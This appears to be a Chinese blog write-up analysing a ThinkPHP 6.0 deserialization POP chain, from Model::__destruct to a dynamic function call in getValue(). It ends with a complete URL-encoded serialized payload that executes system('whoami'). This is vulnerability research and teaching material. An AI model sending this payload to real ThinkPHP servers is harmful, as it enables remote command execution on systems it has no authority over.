0x01 环境搭建
使用composer进行安装:
1 | composer create-project topthink/think=6.0.x-dev TPv6.0 |
定义入口文件app\controller\Index.php
:
1 |
|
0x02 __destruct链分析
(1)寻找__destruct()
反序列化POP链的起点通常是__destruct()
函数,这次漏洞的触发点位于vendor\topthink\think-orm\src\Model.php
中Model
类的__destruct
析构函数:
当满足$this->lazySave==true
时,将会调用$this->save()
,继续跟进。
(2)跟进save()
首先要想不被return掉,需要满足下面整个if语句:
1 | if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { |
- 先跟进
$this->isEmpty()
:只需要满足$this->data
不为空即可。 - 再跟进
$this->trigger()
:只需要满足$this->withEvent == false
即可返回true。
在通过if语句之后,会进入到:当1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
$this->exists == true
时进入$this->updateData()
;当$this->exists == false
时进入$this->insertData()
。
分别跟进,发现updateData()
存在继续利用的点,所以需要$this->exists == true
,跟进分析。
(3)跟进updateData()
这里下一步的利用点存在于$this->checkAllowFields()
中,但是要调用该函数,需要通过①②两处的if语句:
① 与之前save()
中的一样,只需要令$this->withEvent == false
即可通过。
② 需要$data == 1
,所以我们跟进$this->getChangedData()
看一下:
只需要令$this->force == true
,即可直接返回$this-data
,而我们之前也需要设置$this-data
为非空。
回到updateData()
中,之后就可以成功调用到了$this->checkAllowFields()
。
(4)跟进checkAllowFields()
下一步的利用点在$this->db()
中,所以我们需要令$this->field
和$this->schema
均为空才能调用到它:
但可以看到这两个地方默认为空,所以不需要进行构造,然后进一步跟进$this->db()
。
(5)跟进db()
可以看到这里已经存在了用.
进行字符串连接的操作了, 所以把$this->table
或 $this->suffix
设置成响应类对象就可以触发__toString()
了。
(6)__destruct()链小结
目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用__toString()
,所以先总结一下我们需要设置的点:
1 | $this->data不为空 |
调用过程如下:
但是还有一个问题就是Model
类是抽象类,不能实例化。所以要想利用,得找出Model
类的一个子类进行实例化,这里可以用Pivot
类进行利用。
0x03 __toString()链分析
(1)寻找__toString()
既然前半条POP链已经能够触发__toString()
,下面就是寻找利用点。这次漏洞的__toString()
利用点位于vendor\topthink\think-orm\src\model\concern\Conversion.php
中名为Conversion
的trait中。
很简单,跟进toJson()
。
(2)跟进toJson()
没什么好说的,继续跟进toArray()
。
(3)跟进toArray()
对$date
进行遍历,其中$key
为$date
的键。默认情况下,会进入第二个elseif
语句,从而已$key
作为参数调用getAttr()
函数。
接着跟进getAttr()
。
(4)跟进getAttr()
位于vendor\topthink\think-orm\src\model\concern\Attribute.php
中:$value
返回自$this->getData()
,且参数为toArray()
传进来的$key
,跟进一下getData()
:
继续跟进getRealFieldName()
:
当满足$this->strict == true
时(默认为true),直接返回$name
,也就是最开始从toArray()
中传进来的$key
值。
从getRealFieldName()
回到getData()
,此时$fieldName
即为$key
。而返回语句如下,实际上就是返回了$this->data[$key]
。
然后再从getData()
回到getAttr()
,最后的返回语句如下:
1 | return $this->getValue($name, $value, $relation); |
这时参数$name
则是从toArray()
传进来的$key
,而参数$value
的值就是$this->data[$key]
。
继续跟进一下getValue()
(5)跟进getValue()
首先$fieldName
的值来自经过getRealFieldName()
处理的$key
值,而当$this->strict == true
时,是不做处理直接返回的,所以$fieldName
的值就为$key
。
跟进一下getRealFieldName()
:
然后需要通过两个if语句,满足的条件为:$this->withAttr
数组存在和$date
一样的键$key
,并且这个键对应的值不能为数组。
这样的话,就会把$this->withAttr[$key]
(withAttr
数组$key
键对应的值)当做函数名动态执行,参数为$this->date[$key]
。
例如:
1 | $this->withAttr = ["key" => "system"]; |
实际上最后执行的即为system('whoami')
(6)__toString()链小结
至此,后半个POP链也构造完成,小结一下需要构造的点:
1 | trait Attribute |
除此之外还需要将前面说的table
声明为Pivot类对象,从而将两个POP链串联起来。
第二个POP链调用过程如下:
0x04 POC
0x04 POC
最终POC如下:
1 |
|
运行得到payload:
1 | O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D |
结果如下:
0x05 后记
第一次对ThinkPHP框架进行真实漏洞的审计,参考着大佬们的分析文章才弄明白了。其实一步一步理解这个反序列化漏洞的流程并不是特别困难,主要还是自己对ThinkPHP框架不熟悉、对PHP命名空间的概念也不是特别清晰,导致在编写POC的过程中遇到了些问题。之前一直处于只做CTF题目的状态,以后还是得要多做做代码审计,找个时间把thinkphp手册过一遍吧,tcl。